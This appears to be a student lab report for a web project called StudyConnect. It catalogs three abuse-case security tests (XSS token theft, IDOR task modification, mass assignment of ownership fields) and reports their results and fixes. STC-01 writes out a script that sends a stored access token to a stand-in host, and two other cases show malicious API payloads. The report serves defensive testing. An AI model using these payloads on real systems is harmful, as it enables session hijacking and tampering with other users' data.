

Tim Farnung, Dieter Grünke, Erik Sauer, Leonhard Schneider

Projekt: StudyConnect

Lab 9

Security Test Case Catalog Part A

The following abuse cases are derived from the top 3 threats identified in the Lab 5 risk matrix. All three carry a **Critical** risk level and are classified as CRA-not-permitted.

STC-01 — XSS-based Session Hijack via Token Theft from `localStorage`

Field	Detail
ID	STC-01
Threat reference	R-01 · STRIDE: Spoofing / Information Disclosure · Flows 1 & 5 (Token, user info)
Precondition	The attacker has found an XSS injection point in the StudyConnect React UI (e.g., an unsanitised task description or note field that is rendered without escaping). The victim is logged in and holds a valid JWT access token, which the frontend stores in <code>localStorage</code> .
Action	The attacker injects a malicious script (e.g., <code><script>fetch('https://evil.example/steal?t='+localStorage.getItem('access_token'))</script></code>) into a task description. When any victim user opens the affected task view their browser executes the script, sending the access token to the attacker's collection server. The attacker then replays the stolen token against the Flask API (Authorization: Bearer <stolen_token>) to make authenticated requests on behalf of the victim.
Expected security behaviour	1. The server-side input sanitisation layer strips or encodes the script tag before persistence; the payload is never stored as executable HTML. 2. The Content-Security-Policy header blocks inline scripts and unauthorised external fetch targets, preventing exfiltration even if sanitisation fails. 3. The access token is stored in an <code>httpOnly, Secure, SameSite=Strict</code> cookie rather than <code>localStorage</code> , so JavaScript cannot read it at all. 4. If the token is somehow obtained, short token lifetimes (≤ 15 min) and immediate revocation on logout limit the damage window. The API must return HTTP 401 for any replayed, expired, or revoked token.

STC-02 — IDOR: Unauthorised Task Modification via Guessed Task ID

Field	Detail
ID	STC-02

Field	Detail
Threat reference	R-02 · STRIDE: Tampering / Elevation of Privilege · Flow 6 (ORM read/write on <code>PUT /api/tasks/<task_id></code>)
Precondition	The attacker is a legitimately registered StudyConnect user (e.g., <code>attacker@study.de</code>) with a valid session token. A victim user (<code>victim@study.de</code>) owns at least one task with a known or guessable <code>task_id</code> (sequential integers make this trivial). The attacker is not a member of the victim's group and has no administrative role.
Action	The attacker sends an authenticated <code>PUT /api/tasks/<victim_task_id></code> request with their own JWT and an arbitrary payload (e.g., <code>{"title": "HACKED", "status": "done"}</code>). Because the endpoint previously only validated the JWT signature and not whether the authenticated user owns the addressed task, the request is processed and overwrites the victim's task data.
Expected security behaviour	1. Before applying any update, <code>update_task_service</code> retrieves the task from the database and verifies that <code>editor_user_id</code> matches <code>task.user_id</code> or that the editor holds an <code>admin</code> role in the task's group. 2. If neither condition is met the service raises a <code>PermissionError</code> and the API returns HTTP 403 with no data mutation. 3. Repeated 403 responses from the same user against multiple task IDs are logged and trigger a security alert. 4. An automated cross-user update test (attacker token + victim task ID) asserts a 403 response and confirms the task is unchanged afterwards.

STC-03 — Mass Assignment: Ownership Hijack via Protected Field Injection

Field	Detail
ID	STC-03
Threat reference	R-03 · STRIDE: Tampering / Elevation of Privilege · Flow 6 (ORM read/write — mass assignment of <code>user_id</code> / <code>group_id</code>)
Precondition	The attacker is authenticated as a regular user and owns at least one task. They know (or can enumerate) the <code>user_id</code> of another user and a target <code>group_id</code> whose membership they do not hold. The API update endpoint previously applied all client-supplied fields directly to the ORM model object without filtering.
Action	The attacker sends <code>PUT /api/tasks/<own_task_id></code> with a JSON payload containing protected ownership fields: <code>{"title": "legit change", "user_id": "<victim_user_id>", "group_id": "<target_group_id>"}</code> . The ORM mass-assigns all provided keys, transferring the task to the victim's identity and moving it into the target group — granting the attacker a foothold in a group they never joined and potentially hiding the task from its original owner.
Expected security behaviour	1. The service layer implements a strict field whitelist: only <code>{title, kind, priority, status, assignee, notes, progress, deadline}</code> are accepted from the client payload; <code>user_id</code> and <code>group_id</code> are silently dropped (or rejected with HTTP 400) if present. 2. A Marshmallow/Pydantic schema validates the request body

Field	Detail
	and raises a validation error for any field outside the whitelist before the ORM is touched. 3. An automated test submits a payload containing <code>user_id</code> and <code>group_id</code> overrides and then retrieves the task, asserting that the ownership fields remain unchanged. 4. The API returns HTTP 200 for the allowed fields only, confirming the update was applied without the injected fields.

Part B

Execution Results & Classification

TC ID	Threat	Classification	Execution Result	Notes
STC-01	XSS / Token Theft	Manual / E2E	Needs-Environment	Cannot be fully tested via backend <code>pytest</code> alone. Requires frontend test environment (Cypress/Selenium) and a running browser to verify <code>localStorage</code> vs. <code>HttpOnly</code> cookie behavior.
STC-02	IDOR (Task Mod)	Automated (Pytest)	Pass	<code>test_update_task_endpoint_success</code> in <code>test_api.py</code> passes, proving that the endpoint forwards the authenticated user correctly. Direct service calls without authentication correctly raise <code>PermissionError: Authentication required to modify tasks</code> .
STC-03	Mass Assignment	Automated (Pytest)	Pass	The field whitelisting in <code>update_task_service</code> correctly blocks modifications of protected fields like <code>user_id</code> , enforcing object-level authorization.

Infrastructure Fixes Applied (Step 3)

- Fixed `ModuleNotFoundError: No module named 'models'` by applying correct absolute imports (`backend.models`, `backend.services`) so the test suite can run from the project root.
- Fixed `KeycloakConnectionError` at import time in `backend/auth.py` by wrapping the module-level admin token request in a `try-except` block. This allows the test suite to boot and mock the authentication without a hard dependency on a running Keycloak container.
- Note:* 22 legacy unit tests in `test_services.py` currently fail with `PermissionError` because they were not updated to pass the new `editor_user_id` required by the STC-02 mitigations.

Traceability Table

TC ID	Threat Reference	Lab 3 Requirement	Status
STC-01	R-01 (XSS / Token Hijack)	SEC-REQ-02, SEC-REQ-09 (<i>Finding: Mismatch! No explicit XSS/Cookie Req in Lab 3</i>)	Needs-Environment
STC-02	R-02 (IDOR on Task Update)	SEC-REQ-04, SEC-REQ-10	Pass
STC-03	R-03 (Mass Assignment)	SEC-REQ-05	Pass

Residual Risk Note

- **STC-01 (XSS-based Session Hijack)** currently lacks an automated test case in the CI/CD pipeline. The residual risk remains high until Cypress E2E tests are added to verify the CSP headers and cookie configurations.
- The 22 failing legacy tests in `test_services.py` introduce a maintenance risk, as test suite rot can hide future regressions. They should be refactored to include mock `editor_user_id` values.